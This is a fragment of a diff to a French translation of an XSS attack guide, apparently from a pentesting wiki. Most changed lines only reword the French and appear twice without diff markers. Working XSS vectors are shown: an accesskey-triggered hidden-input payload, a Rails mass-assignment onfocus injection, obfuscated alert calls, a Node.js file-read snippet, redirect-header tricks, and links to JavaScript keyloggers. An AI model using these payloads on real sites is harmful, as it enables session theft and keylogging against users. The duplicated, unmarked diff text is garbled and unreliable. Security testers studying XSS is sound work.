Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **"on" gestionnaires d'événements** utiles.\
Dans le cas où il y aurait une liste noire vous empêchant de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut d'accès. Voici le vecteur :
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -782,7 +782,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
```
### Ruby-On-Rails contournement
En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
En raison de **l'attribution de masse RoR**, des citations sont insérées dans le HTML et ensuite la restriction de citation est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -828,17 +828,17 @@ document['default'+'View'][`\u0061lert`](3)
Si vous constatez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pourriez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code d'état de la réponse HTTP est 302, donc un simple payload de cross-site scripting est inutile.
Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment vous pouvez tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'eux permet au navigateur d'inspecter et d'exécuter le payload XSS à l'intérieur du corps.\
Protocoles connus précédemment : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
Protocoles connus dans le passé : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en-tête Location vide_, `resource://`.
### Seulement des lettres, des chiffres et des points
Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
### Types de contenu `<script>` valides pour XSS
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome renverra l'erreur suivante :
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
> Refusé d'exécuter le script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte des types MIME est activée.
Les seuls **Content-Type** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
@ -898,9 +898,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval pour en abuser, cela peut déclencher des XSS.
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité est principalement destinée à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
```html
<script type="speculationrules">
{
@ -926,8 +926,8 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
- text/xml
- image/svg+xml
- text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
- application/rss+xml (désactivé)
- application/atom+xml (désactivé)
- application/rss+xml (off)
- application/atom+xml (off)
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
@ -995,7 +995,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Accéder à `require` indirectement
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont encapsulés par Node.js dans une fonction, comme ceci :
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1230,7 +1230,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS charges utiles courantes
## Charges utiles XSS courantes
### Plusieurs charges utiles en 1
@ -1383,7 +1383,7 @@ Lorsque des données sont introduites dans le champ de mot de passe, le nom d'ut
### Keylogger
Juste en cherchant sur github, j'en ai trouvé quelques-uns différents :
Juste en cherchant sur github, j'ai trouvé quelques-uns différents :
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1532,7 +1532,7 @@ pdf-injection.md
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des tags HTML complétés par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir directement avec le contenu dans leurs e-mails.
Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).

Some files were not shown because too many files have changed in this diff Show More